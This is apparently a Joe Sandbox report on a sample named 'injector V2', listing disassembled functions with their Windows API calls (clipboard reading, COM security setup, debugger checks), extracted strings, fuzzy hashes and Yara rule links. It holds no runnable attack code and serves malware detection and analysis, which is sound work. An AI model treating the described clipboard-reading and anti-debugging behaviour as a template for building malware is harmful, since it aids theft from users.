Function 0043D1B0 Relevance: 1.6, APIs: 1, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?), ref: 0043D250

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 8f3f030fb2c71fb7353a24ddfee776e8ee3b382a80aff1999716a4c3522fdbc1
Instruction ID: 38339d0474cf5488c706bdac48296e0f0b6fb5e2a390aa9d9df206c512bdb354
Opcode Fuzzy Hash: 8f3f030fb2c71fb7353a24ddfee776e8ee3b382a80aff1999716a4c3522fdbc1
Instruction Fuzzy Hash: DC016D35A0C2908FD7095B38FC6246F7B52EB97714F14157CD8C293A64C7359C11CB89

Function 0040A020 Relevance: 1.6, APIs: 1, Instructions: 72libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(B11B8F15,00000000,03020900), ref: 0040A0EF

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 85d5bdf79e67eb47774ed4a15c4dc7e71fa5b6f65d207fa871d370558ccbd849
Instruction ID: eec8e4d5abda4dd1e9db2bbec8688eaefad9b2efc4fc356c0bbc1d4a18304db3
Opcode Fuzzy Hash: 85d5bdf79e67eb47774ed4a15c4dc7e71fa5b6f65d207fa871d370558ccbd849
Instruction Fuzzy Hash: A011DF3025D3A04BC3149B2188967AFBBE5EBE6308F18892DE1C557381C77C950A8B6B

Function 00433E66 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00433EAD

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 960cd3bc9b8fafb9bc18a88fe50f5d4fa7e29375ade0a4599853ce488b78a79b
Instruction ID: 0423a9b642b6b397783e3dfe323d9de4dd2d31f2713e8749b62edf797a23f73d
Opcode Fuzzy Hash: 960cd3bc9b8fafb9bc18a88fe50f5d4fa7e29375ade0a4599853ce488b78a79b
Instruction Fuzzy Hash: E6F0F9B86193418FD390DF14C4A875ABBE1BBC5308F14C92CE4988B394DBB59548CF82

Function 004325A0 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004325E9

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 60de41b2be0a5049a60b76abd15c3a914ed7616a6115ed82c89a2c5beda3207b
Instruction ID: 9ef2ec95defbe811da9df7f73394960e27298bce3209d78997cf439bd599a4ac
Opcode Fuzzy Hash: 60de41b2be0a5049a60b76abd15c3a914ed7616a6115ed82c89a2c5beda3207b
Instruction Fuzzy Hash: 1AF0B7B4109701CFD354DF28C0A8B1ABBF1FB89304F00881CE4958B3A0DB76A948CF82

Function 0040D2E3 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040D2F5

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 0513e9e4faa0fe301388e6d48941e819c9196826d588494003b1330ec966144b
Instruction ID: 353a1201628b11d32b5d18849e77655b55e9a536d8fe0a4044a9c1789a7b6920
Opcode Fuzzy Hash: 0513e9e4faa0fe301388e6d48941e819c9196826d588494003b1330ec966144b
Instruction Fuzzy Hash: 6DE01735BE5B0567FA684718EC07F4422426386B61F3C8368B311EE6E8CDF8B001450C

Function 0040D2B0 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040D2C3

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 696aab15c1f5ca53f29d23ed7225efa0109973e3bc5d25c60111ef6268dc21b3
Instruction ID: 9e1670af7ad334bbccc9b10d5b72e0f5980304cee9ffeec64b1b62a7ed01c319
Opcode Fuzzy Hash: 696aab15c1f5ca53f29d23ed7225efa0109973e3bc5d25c60111ef6268dc21b3
Instruction Fuzzy Hash: B5D0A734954A446BD244772DEC0FF1A366CA743765F40023DB2A2C61E2DD906910C569

Non-executed Functions

Function 00435300 Relevance: 29.9, APIs: 6, Strings: 11, Instructions: 129clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00435314
GetWindowLongW.USER32 ref: 00435339
GetClipboardData.USER32 ref: 00435349
GlobalLock.KERNEL32 ref: 00435362
GlobalUnlock.KERNEL32 ref: 0043549A
CloseClipboard.USER32 ref: 004354A3

Strings

M, xrefs: 004353D7
E, xrefs: 004353B9
[, xrefs: 004353BE
x, xrefs: 004353F0
J, xrefs: 004353CD
^, xrefs: 004353C8
C, xrefs: 004353EB
C, xrefs: 004353C3
F, xrefs: 004353E6
_, xrefs: 004353D2
T, xrefs: 004353DC

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: C$C$E$F$J$M$T$[$^$_$x
API String ID: 2832541153-1009912999
Opcode ID: 80fb963e721157add25bdcb93e767848dcc1c4e48d0ce26f06ec10453953b760
Instruction ID: 649da8ff6edbeae9ac6a437e036de8b4666048049ac1a5994b2f6b4b394acba0
Opcode Fuzzy Hash: 80fb963e721157add25bdcb93e767848dcc1c4e48d0ce26f06ec10453953b760
Instruction Fuzzy Hash: 894170B150C7818FD300AF78D98931FBFE0AB96315F08492DE5D587382D6BD85898B97

Function 00426BD0 Relevance: 24.9, Strings: 19, Instructions: 1180COMMON

Download Yara Rule

Strings

WY, xrefs: 0042775A
wq, xrefs: 004272DA
t*&, xrefs: 00427E25
31, xrefs: 00427602
qo, xrefs: 00427049
MY, xrefs: 00426C49
`F, xrefs: 0042702B
c#T%, xrefs: 004278B8
:B, xrefs: 00427442
~F, xrefs: 0042703F
UK, xrefs: 00427822
{e, xrefs: 004272F8
}B, xrefs: 004281E3
Aq, xrefs: 00427035
zC3', xrefs: 00426D17
^+v-, xrefs: 004278CC
R'_), xrefs: 004278C2
LS, xrefs: 00427818
vC3', xrefs: 00426CD7

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: }B$:B$Aq$LS$MY$R'_)$UK$^+v-$`F$c#T%$qo$vC3'$zC3'$~F$31$WY$t*&$wq${e
API String ID: 0-3774008810
Opcode ID: 13d58b617d83f207513afcf0ac7916043c748302f00dcca38fa9acfbd97f3399
Instruction ID: 1fa151b182754a02b184cb83e181f89f3944c2d731a9443aa8d7f8763e1ea196
Opcode Fuzzy Hash: 13d58b617d83f207513afcf0ac7916043c748302f00dcca38fa9acfbd97f3399
Instruction Fuzzy Hash: 48B2A5B8909269CBDB24CF14D8807AEBBB1FF45300F5481EDD4896B385DB785A86CF85

Function 00426E00 Relevance: 22.5, Strings: 17, Instructions: 1277COMMON

Download Yara Rule

Strings

WY, xrefs: 0042775A
%', xrefs: 00426E33
wq, xrefs: 004272DA
t*&, xrefs: 00427E25
31, xrefs: 00427602
qo, xrefs: 00427049
`F, xrefs: 0042702B
c#T%, xrefs: 004278B8
:B, xrefs: 00427442
~F, xrefs: 0042703F
UK, xrefs: 00427822
{e, xrefs: 004272F8
}B, xrefs: 004281E3, 00428249
Aq, xrefs: 00427035
^+v-, xrefs: 004278CC
R'_), xrefs: 004278C2
LS, xrefs: 00427818

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: }B$:B$Aq$LS$R'_)$UK$^+v-$`F$c#T%$qo$~F$%'$31$WY$t*&$wq${e
API String ID: 0-2025126219
Opcode ID: aa81146f536594075b42785c8aca355dd7fdd06af9277e64a8c543a63ab1a5f0
Instruction ID: 35be8ed4cd7e98465d1cfdd550cc4534ee506dcf831e133602459afd556982a2
Opcode Fuzzy Hash: aa81146f536594075b42785c8aca355dd7fdd06af9277e64a8c543a63ab1a5f0
Instruction Fuzzy Hash: A0B2A6B8E09229CBDB24CF54D8817AEBBB1FF45300F5481E9D4896B345DB385A86CF85

Function 00426F70 Relevance: 21.1, Strings: 16, Instructions: 1089COMMON

Download Yara Rule

Strings

WY, xrefs: 0042775A
wq, xrefs: 004272DA
t*&, xrefs: 00427E25
31, xrefs: 00427602
qo, xrefs: 00427049
`F, xrefs: 0042702B
c#T%, xrefs: 004278B8
:B, xrefs: 00427442
~F, xrefs: 0042703F
UK, xrefs: 00427822
{e, xrefs: 004272F8
}B, xrefs: 004281E3
Aq, xrefs: 00427035
^+v-, xrefs: 004278CC
R'_), xrefs: 004278C2
LS, xrefs: 00427818

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: }B$:B$Aq$LS$R'_)$UK$^+v-$`F$c#T%$qo$~F$31$WY$t*&$wq${e
API String ID: 0-1828368214
Opcode ID: 3104133428518d540902ac34a2fb488368386e526f2901aa799005266d204350
Instruction ID: 09ec192c9ec58bcb8b84ec17ce1a8ce17df0356576050d5bd0ea5ed05ac0c503
Opcode Fuzzy Hash: 3104133428518d540902ac34a2fb488368386e526f2901aa799005266d204350
Instruction Fuzzy Hash: 7DA295B8D09269CBDB24CF14D8807AEBBB0FF45300F5481E9D4896B385DB385A86CF85

Function 0042D830 Relevance: 14.0, Strings: 11, Instructions: 267COMMON

Download Yara Rule

Strings

O'TT, xrefs: 0042D981
*&?$, xrefs: 0042D9A9
3HcP, xrefs: 0042DA8B
8,11, xrefs: 0042D8E8
<G24, xrefs: 0042D9D1
=.dA, xrefs: 0042D9DB
KKPV, xrefs: 0042D8D4
:&Dl, xrefs: 0042D9B3
WDHZ, xrefs: 0042D8DE
7()&, xrefs: 0042D99F
y_~), xrefs: 0042D995

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: *&?$$3HcP$7()&$8,11$:&Dl$<G24$=.dA$KKPV$O'TT$WDHZ$y_~)
API String ID: 0-2957815121
Opcode ID: 8b0410b2f0906d4672b5830e34e8af8f7a50d67c60768b032dddc266aa8ccbe9
Instruction ID: aa318e9326affcfdb16590794bee10af8737c8e06ecfdbf9e32c06abea71cbdf
Opcode Fuzzy Hash: 8b0410b2f0906d4672b5830e34e8af8f7a50d67c60768b032dddc266aa8ccbe9
Instruction Fuzzy Hash: 0891E3B0604B808BD325CF3998A17A3BFE1AF96300F59896DC1EB4B381D7386406CB55

Function 0041BFB6 Relevance: 9.3, Strings: 7, Instructions: 513COMMON

Download Yara Rule

Strings

D, xrefs: 0041C757
+S, xrefs: 0041C47C
MM, xrefs: 0041C56F
`[, xrefs: 0041C487
VK, xrefs: 0041C57A
fa, xrefs: 0041C492
H, xrefs: 0041C37F

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: +S$D$H$MM$VK$`[$fa
API String ID: 0-80346802
Opcode ID: 8c35754ae7fc4170c5abd4450aca1baeb1e871a515077f9623e7678d87ff2c54
Instruction ID: e249e24f014c48fe1b5423826c1da1bde9dce5a0214780fb9f8959d4c3bf61a2
Opcode Fuzzy Hash: 8c35754ae7fc4170c5abd4450aca1baeb1e871a515077f9623e7678d87ff2c54
Instruction Fuzzy Hash: 5F0288B44483908BE320CF25C8A17ABBBF1FF91348F14995DD4C94B391E3B98945CBA6

Function 0042A0D5 Relevance: 8.6, Strings: 6, Instructions: 1123COMMON

Download Yara Rule

Strings

Qxhf, xrefs: 0042AA46
;{u, xrefs: 0042A5F8
Zl', xrefs: 0042AA56
[g2a, xrefs: 0042A6B1
e, xrefs: 0042AA76
-yum, xrefs: 0042AA4E

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: -yum$;{u$Qxhf$Zl'$[g2a$e
API String ID: 0-702493259
Opcode ID: 508e3e81598fd8e61b8768262e0d853c53ea9ecd44e7befdc624575d6b80e953
Instruction ID: d0710d3571aefb8fc1d20725ee6de154d627606741ea491bbc11d971cf737a3c
Opcode Fuzzy Hash: 508e3e81598fd8e61b8768262e0d853c53ea9ecd44e7befdc624575d6b80e953
Instruction Fuzzy Hash: 71824375A083518FD714CF29E85132BB7E2EFC5314F498A3DE8958B392DB389815CB86

Function 00605444 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00605450
IsDebuggerPresent.KERNEL32 ref: 0060551C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0060553C
UnhandledExceptionFilter.KERNEL32(?), ref: 00605546

Memory Dump Source

Source File: 00000002.00000002.1940053989.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.1940023885.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940098407.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940128462.000000000061B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940153408.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940177326.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_injector V2.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 03ea4696780bfd4e7b21b89c1361e0566fe44533df57a800dfa273d2f1caeeb6
Instruction ID: 536bdf5355725d5218292da1f140347a6c255d01c44a91b0c3a774b3ce24b9eb
Opcode Fuzzy Hash: 03ea4696780bfd4e7b21b89c1361e0566fe44533df57a800dfa273d2f1caeeb6
Instruction Fuzzy Hash: 4E311875D452189BDF11DFA4D9897CEBBF9BF08304F1080AAE40DAB290EB709A85CF55

Function 0041EFF5 Relevance: 5.6, Strings: 4, Instructions: 567COMMON

Download Yara Rule

Strings

W`, xrefs: 0041F380
4Z, xrefs: 0041F378
SR, xrefs: 0041F388
X\, xrefs: 0041F390

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: 4Z$SR$W`$X\
API String ID: 0-4161418099
Opcode ID: c6f3e7611f723f7eb55f501b0840374f3d0062e9c81a9c2b84b1d528a3d401d5
Instruction ID: 89be3030dedfbe0b031de29427f6c63e8abad01b4acb32e386f7cddbb688a063
Opcode Fuzzy Hash: c6f3e7611f723f7eb55f501b0840374f3d0062e9c81a9c2b84b1d528a3d401d5
Instruction Fuzzy Hash: E1F155759083118BC710CF14C8912ABB7F1FFA5354F18992DE8C95B3A1E378D98AC78A

Function 00429520 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 302COMMON

Download Yara Rule

Strings

57, xrefs: 00429D81
,-, xrefs: 00429EB8

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: ,-$57
API String ID: 0-1747932499
Opcode ID: 5a033db35ed4ec029857596d6423e8965e5a341052786567b0ba29b5e6dcc15f
Instruction ID: 5799269420324ea627bcc4f0c2ab9c1f658a7317cea54ba45ff83523ad6f09d5
Opcode Fuzzy Hash: 5a033db35ed4ec029857596d6423e8965e5a341052786567b0ba29b5e6dcc15f
Instruction Fuzzy Hash: 2EA1FFB56083509BD7209F25E88136BBBE1FFC2358F44492DE0C58B391D779880ACB9B

Function 004296F4 Relevance: 5.5, Strings: 4, Instructions: 453COMMON

Download Yara Rule

Strings

UjcW, xrefs: 00429B8C
'c"?, xrefs: 00429BB4
YRTP, xrefs: 00429B94
Y^S, xrefs: 00429B68, 00429B70

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: Y^S$'c"?$UjcW$YRTP
API String ID: 0-406344231
Opcode ID: a3c115ff45babdea3d1f68228492ccc2670869cf7d81e033d977328bf23dd762
Instruction ID: e32894b5f640953469bc4cdcacc1f8aace832cacb3fb2d239944e8ea458795a4
Opcode Fuzzy Hash: a3c115ff45babdea3d1f68228492ccc2670869cf7d81e033d977328bf23dd762
Instruction Fuzzy Hash: 1FE14675A0C3518BD7049F25A84026BB7E1AFD6304F08887EE8D59B382E739DD09CB5A

Function 0041DA40 Relevance: 4.0, Strings: 3, Instructions: 211COMMON

Download Yara Rule

Strings

#:EX, xrefs: 0041DA67
/:EX, xrefs: 0041DAB9
|, xrefs: 0041DBF3

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: #:EX$/:EX$|
API String ID: 0-1498014989
Opcode ID: f641b2e1d107a67fe1cb44df5131b8b3c9f0b50c04125af42b221465f5728ed2
Instruction ID: ebff1a44856993e5f9e47a75cfa2fb170ad94dd6b4a2f3f243944e431b16b645
Opcode Fuzzy Hash: f641b2e1d107a67fe1cb44df5131b8b3c9f0b50c04125af42b221465f5728ed2
Instruction Fuzzy Hash: A35143B19193918BC714CF24C8516ABBBB1EFC3344F49995DE8C29B350E3789940C796

Function 0041DD48 Relevance: 3.9, Strings: 3, Instructions: 133COMMON

Download Yara Rule

Strings

.Bki, xrefs: 0041DE74
bP! , xrefs: 0041DDFA
{^e\, xrefs: 0041DDEA

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: .Bki$bP! ${^e\
API String ID: 0-3819303242
Opcode ID: 09ed14783806bd4fbfc42d851a80e352a5c29ad13945dae2a80825908b35f2db
Instruction ID: 013273dd4b985b783192888b96fd38fda426fbccee9ab40bd8bd226eb6613383
Opcode Fuzzy Hash: 09ed14783806bd4fbfc42d851a80e352a5c29ad13945dae2a80825908b35f2db
Instruction Fuzzy Hash: F6415B31A197914BC758CF2480923ABBBE2AFD2344F58546EE4C1CB356D63DC8468B82

Function 0041C7C9 Relevance: 3.2, Strings: 2, Instructions: 677COMMON

Download Yara Rule

Strings

`b]}, xrefs: 0041CA30
K7, xrefs: 0041C813

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: InitializeThunk
String ID: K7$`b]}
API String ID: 2994545307-3709244666
Opcode ID: e92ef98e99700fa30022095c108e7e2910c6ad951a836458eb8a3676427af6ea
Instruction ID: 2553cb39f39268861783624d4a3bff072a18932582e306d74ca000491a559b48
Opcode Fuzzy Hash: e92ef98e99700fa30022095c108e7e2910c6ad951a836458eb8a3676427af6ea
Instruction Fuzzy Hash: E61228746487408BD724CB34DCD1ABB77E2FB96314F28867ED092872A1D7359847CB8A

Function 00441860 Relevance: 3.1, Strings: 2, Instructions: 640COMMON

Download Yara Rule

Strings

!!D, xrefs: 00442047
2 D, xrefs: 00442029

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: !!D$2 D
API String ID: 0-2041540080
Opcode ID: 227d1dcddf45e72dd6b098785f3170ba4591dd8df55e49aa93aa11c5214a2e53
Instruction ID: 820dda57bfc0c069450d73c64b0f86272794a7f7300f0505425411bada8820d0
Opcode Fuzzy Hash: 227d1dcddf45e72dd6b098785f3170ba4591dd8df55e49aa93aa11c5214a2e53
Instruction Fuzzy Hash: 6112253AA09251CFC308CF28E8D166AB7E2FBCA314F1E857DD58697361C635E845CB85

Function 00441930 Relevance: 3.1, Strings: 2, Instructions: 633COMMON

Download Yara Rule

Strings

!!D, xrefs: 00442047
2 D, xrefs: 00442029

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: !!D$2 D
API String ID: 0-2041540080
Opcode ID: 20871c927d7cc54915ad606464a0109514e61071a6d9d9d71db3c6e02648ee9e
Instruction ID: b13b4070a8921637b56cfddfab7054103327da83aceea9e49993121eb1f69e98
Opcode Fuzzy Hash: 20871c927d7cc54915ad606464a0109514e61071a6d9d9d71db3c6e02648ee9e
Instruction Fuzzy Hash: B3023736A092518FD308CF38E8D126BB7E2EBCA354F1E857ED48697361C635E845CB85

Function 0041F6E0 Relevance: 2.9, Strings: 2, Instructions: 409COMMON

Download Yara Rule

Strings

de, xrefs: 0041F7D0
}{, xrefs: 0041F7A6

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: de$}{
API String ID: 0-2652959902
Opcode ID: dba4710397c69c293084f6f83ec3cae58eda94e645e9928b6d018490e0e5cf61
Instruction ID: b8209a5c5182adddfc4a3f7ad7ee9c1e8731f02ef26c3de1d33901564b30210a
Opcode Fuzzy Hash: dba4710397c69c293084f6f83ec3cae58eda94e645e9928b6d018490e0e5cf61
Instruction Fuzzy Hash: 5CC124B4D103018BCB24DF28C8926BBB7B1FF45310F1991AAD855AF395E7389946CB98

Function 0041FB20 Relevance: 2.9, Strings: 2, Instructions: 404COMMON

Download Yara Rule

Strings

}{, xrefs: 0041FBE7
de, xrefs: 0041FC11

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: de$}{
API String ID: 0-2652959902
Opcode ID: 6f31d01ef21908fb0d6247969a3445455507d79ed9dc74f862e87c9cb719ea47
Instruction ID: 5a4b5e3c4749a8dab7cc5bf484e405dad867a17854ab2fa7c028c701f221f4b3
Opcode Fuzzy Hash: 6f31d01ef21908fb0d6247969a3445455507d79ed9dc74f862e87c9cb719ea47
Instruction Fuzzy Hash: ECB147B19103108BCB24CF24C8927B777B2FFA5310B19926ED8465F399E739AC46C798

Function 00404A31 Relevance: 2.9, Strings: 2, Instructions: 386COMMON

Download Yara Rule

Strings

RK@, xrefs: 00404B47
]M@, xrefs: 00404D47

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: RK@$]M@
API String ID: 0-1819635796
Opcode ID: 3ddecef2f22dfce23df13f5b0330299b693dece867d661a49c51be7dbf88b829
Instruction ID: 467636eddeb98ea21962c02840cb1ffeddf6ab606cafb9d112bccd5d25d25d27
Opcode Fuzzy Hash: 3ddecef2f22dfce23df13f5b0330299b693dece867d661a49c51be7dbf88b829
Instruction Fuzzy Hash: 87E1A979608600CFD718CF29D890BA677F2FB89315F09897CE94A87B91D338E956CB44

Function 0041BB10 Relevance: 2.7, Strings: 2, Instructions: 212COMMON

Download Yara Rule

Strings

gfff, xrefs: 0041BC6C
hi, xrefs: 0041BBBE

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: InitializeThunk
String ID: gfff$hi
API String ID: 2994545307-2749480207
Opcode ID: ccd8c4faa15942c8817bfccffa3e7865085b8a849222180f92b212f794360ae0
Instruction ID: 8be27eaea9eb9906321fb2802653f2bd2eacb5c250ed8523c9b8ff0ca300b706
Opcode Fuzzy Hash: ccd8c4faa15942c8817bfccffa3e7865085b8a849222180f92b212f794360ae0
Instruction Fuzzy Hash: C36126726082048BD718CF29DC627ABBBD6FBC5314F49863EE486C77E1DB3894458789

Function 0042E06F Relevance: 2.7, Strings: 2, Instructions: 193COMMON

Download Yara Rule

Strings

m'', xrefs: 0042E1BF
VB<2, xrefs: 0042E1B5

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: m''$VB<2
API String ID: 0-979874221
Opcode ID: 6eef21739b3b22b1a8232fb88dfef1edccd1d52c709e48569075e22fdd8931b8
Instruction ID: c25300c1ca98c31efe76d7136a947c745435c0411e6436b1ff5d90aa4dde673c
Opcode Fuzzy Hash: 6eef21739b3b22b1a8232fb88dfef1edccd1d52c709e48569075e22fdd8931b8
Instruction Fuzzy Hash: 3351FAB0604B918BD72ACF3684607B3FBD29F93204F5888AEC1DB5B393D67955078718

Function 0042E039 Relevance: 2.7, Strings: 2, Instructions: 184COMMON

Download Yara Rule

Strings

m'', xrefs: 0042E1BF
VB<2, xrefs: 0042E1B5

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: m''$VB<2
API String ID: 0-979874221
Opcode ID: d833140be7d569808b37714d485f2a43dc9987be2b027a37305b51ff8c620470
Instruction ID: e3aac50440cca16b9f10dbeab26ad0c50413b8f1dd6135df4be0c5ffa54bc7e6
Opcode Fuzzy Hash: d833140be7d569808b37714d485f2a43dc9987be2b027a37305b51ff8c620470
Instruction Fuzzy Hash: 265148B0204B908AD72A8B3685603B3FBD59F93304F58C9BEC2EB5B293D67D55078718

Function 0042E007 Relevance: 2.7, Strings: 2, Instructions: 151COMMON

Download Yara Rule

Strings

m'', xrefs: 0042E1BF
VB<2, xrefs: 0042E1B5

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: m''$VB<2
API String ID: 0-979874221
Opcode ID: d04434aace0846d698a72d21c04062156debf4dab956015e3ba6f3ac5190d4fa
